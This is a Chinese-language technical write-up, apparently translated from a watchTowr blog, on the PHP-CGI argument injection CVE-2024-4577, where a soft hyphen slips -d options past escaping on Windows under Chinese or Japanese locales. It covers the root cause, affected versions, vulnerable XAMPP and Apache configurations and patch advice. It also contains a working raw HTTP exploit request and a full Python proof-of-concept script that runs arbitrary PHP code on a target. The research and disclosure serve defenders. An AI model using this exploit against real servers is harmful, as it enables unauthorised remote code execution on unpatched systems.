Orange Tsai 几个小时前发了一条推文,称“他的一个 PHP 漏洞默认影响 XAMPP”,我们对此感到十分好奇。XAMPP 是管理员和开发人员快速部署 Apache、PHP 和许多其他工具的一种非常流行的方式,任何可能在其默认安装中给我们带来 RCE 的漏洞听起来都很诱人。
幸运的是,对于防御者来说,该漏洞仅在某些特定的区域设置下在基于 Windows 的 PHP 安装(其中 PHP 专门用于 CGI 模式)中被利用:
- 中文(简体和繁体)
- 日文
然而,Orange 警告其他地区也可能受到影响,并敦促用户升级到最新版本的 PHP,该版本已修复这些错误(有关详细信息,请参阅他们的博客文章)。
我们迫切地想指出,我们不确定这种配置或部署类型在现实中有多普遍。在我们的客户群之外,找出答案也不是我们的工作。但无论如何,这是一个有趣的漏洞,因为它的根本原因。请与我们一起享受。
Orange 的博文虽然内容丰富,但并没有告诉我们如何才能获得这种 RCE。不幸的是,配置选项范围很广,很难一眼就确定某个实例是否存在漏洞,而且显然,这是因为 Windows 机器的“区域设置”通常无法从外部获取指纹。因此,我们开始重现该漏洞 — 如果我们可以利用它,那就是证明可利用性的最佳方式,对吧?
阅读 Orange 的博客后,可以清楚地看出该漏洞仅影响 PHP 的 CGI 模式。在此模式下,Web 服务器解析 HTTP 请求并将其传递给 PHP 脚本,然后脚本对其进行一些处理。例如,查询字符串被解析并传递给命令行上的 PHP 解释器 - 例如,诸如 as 的请求http://host/cgi.php?foo=bar可能会被执行为php.exe cgi.php foo=bar。
当然,这确实为命令注入提供了途径,这就是为什么在调用之前要仔细处理和清理输入`php.exe`(咳咳 CVE-2012-1823)。然而,似乎有一个开发人员没有考虑到的极端情况,这允许攻击者突破命令行并提供由 PHP 本身解释的参数。这个极端情况与 unicode 字符如何转换为 ASCII 有关。最好用一个例子来解释这一点。
以下是 php.exe 的两次调用,一次是恶意的,一次是良性的。你能发现区别吗?
不,我也不行。让我们在十六进制编辑器中看一下,看看是否能给我们任何线索。
嗯,很有趣——在这里我们可以看到,第一次调用使用了普通的破折号 (0x2D),而第二次调用似乎使用了完全不同的东西(显然是“软连字符”),代码为 0xAD(突出显示)。虽然它们对你我来说都是一样的,但对操作系统来说,它们的含义却大不相同。
这里的一个重要细节是,Apache 会转义实际的连字符 0x2D,但不会转义第二个“软连字符”0xAD。毕竟,它不是真正的连字符,对吧?所以没有必要转义它……对吧?
我们不关心它是否与上面的笑话相同,它仍然很有趣。
好吧。事实证明,作为 Unicode 处理的一部分,PHP 将应用所谓的“最佳匹配”映射,并假设当用户输入软连字符时,他们实际上想要输入真正的连字符,并将其解释为真正的连字符。这就是我们的弱点所在 - 如果我们为 CGI 处理程序提供软连字符 (0xAD),CGI 处理程序将不会觉得有必要对其进行转义,而是会将其传递给 PHP。然而,PHP 会将其解释为真正的连字符,这允许攻击者将以连字符开头的额外命令行参数偷偷带入 PHP 进程。
这与较早的 PHP 漏洞(在 CGI 模式下)CVE-2012-1823 非常相似,因此我们可以借用针对此较早漏洞开发的一些利用技术,并对其进行调整以应对我们的新漏洞。一篇有用的文章建议,要将我们的注入转化为 RCE,我们应该注入以下参数:
-d allow_url_include=1 -d auto_prepend_file=php://input
这将接受来自 HTTP 请求主体的输入,并使用 PHP 进行处理。很简单 - 让我们尝试使用 0xAD“软连字符”而不是通常的连字符的版本。也许这足以绕过转义?
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
哦,太高兴了——我们收到了一页奖励phpinfo,表明我们确实实现了 RCE。
影响
该漏洞影响Windows操作系统上安装的所有PHP版本,具体影响情况请参见下表:
- PHP 8.3 < 8.3.8
- PHP 8.2 < 8.2.20
- PHP 8.1 < 8.1.29
由于 PHP 8.0、PHP 7 和 PHP 5 的分支已终止使用,并且不再维护,服务器管理员可以参考“我是否容易受到攻击”部分以在“缓解措施”部分中找到临时补丁建议。
我很脆弱吗?
对于常见的 Apache HTTP Server 和 PHP 组合情况,服务器管理员可以使用本文列出的两种方法来确定其服务器是否存在漏洞。值得注意的是,场景 2 也是Windows 版 XAMPP的默认配置,因此Windows 上安装的所有版本的 XAMPP 默认都存在漏洞。
截至撰写本文时,已验证当 Windows 在以下区域设置下运行时,未经授权的攻击者可以直接在远程服务器上执行任意代码:
- 繁体中文(代码页 950)
- 简体中文(代码页 936)
- 日语(代码页 932)
对于其他语言环境(例如英语、韩语、西欧)的 Windows,由于 PHP 使用场景十分广泛,目前无法完全列举并排除所有潜在的漏洞利用场景,因此建议用户进行全面的资产评估,核实自己的使用场景,并将 PHP 更新至最新版本,确保安全。
场景一:在 CGI 模式下运行 PHP
在配置Action指令将相应的 HTTP 请求映射到 Apache HTTP Server 中的 PHP-CGI 可执行二进制文件时,可直接利用此漏洞。受影响的常见配置包括但不限于:
AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"
或者
<FilesMatch ".php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
场景 2:公开 PHP 二进制文件(也是默认的 XAMPP 配置)
即使 PHP 没有配置为 CGI 模式,仅仅将 PHP 可执行文件暴露在 CGI 目录中也会受到此漏洞的影响。常见场景包括但不限于:
-
将
php.exe或复制php-cgi.exe到/cgi-bin/目录。 -
通过指令公开 PHP 目录
ScriptAlias,例如:
ScriptAlias /php-cgi/ "C:/xampp/php/"
结论
一个非常严重的漏洞,但利用起来非常简单——非常适合周五下午。
不过幸运的是,补丁已经可用,所以我们赞同 Orange Tsai 的建议,升级您的 PHP 安装。一如既往,出色的工作,向 Orange Tsai 致敬。
那些在受影响的语言环境(简体中文或繁体中文或日语)下运行受影响配置的用户,请尽快执行此操作,因为由于漏洞利用复杂性低,该漏洞很有可能被大规模利用。我们仍然强烈建议其他用户更新:
对于其他语言环境(例如英语、韩语、西欧)的 Windows,由于 PHP 使用场景十分广泛,目前无法完全列举并排除所有潜在的漏洞利用场景,因此建议用户进行全面的资产评估,核实自己的使用场景,并将 PHP 更新至最新版本,确保安全。
我们不会在这里重复该建议,相反,我们建议那些寻求补救建议的人参考综合建议。
在 watchTowr,我们相信持续的安全测试是未来的发展方向,能够快速识别影响您组织的整体高影响漏洞
POC
"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber)
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr (aliz@watchTowr.com)
- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
CVEs: [CVE-2024-4577] """
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")
parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')
s = requests.Session()
s.verify = False
res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
print('(+) Exploit was successful')
else:
print('(!) Exploit may have failed')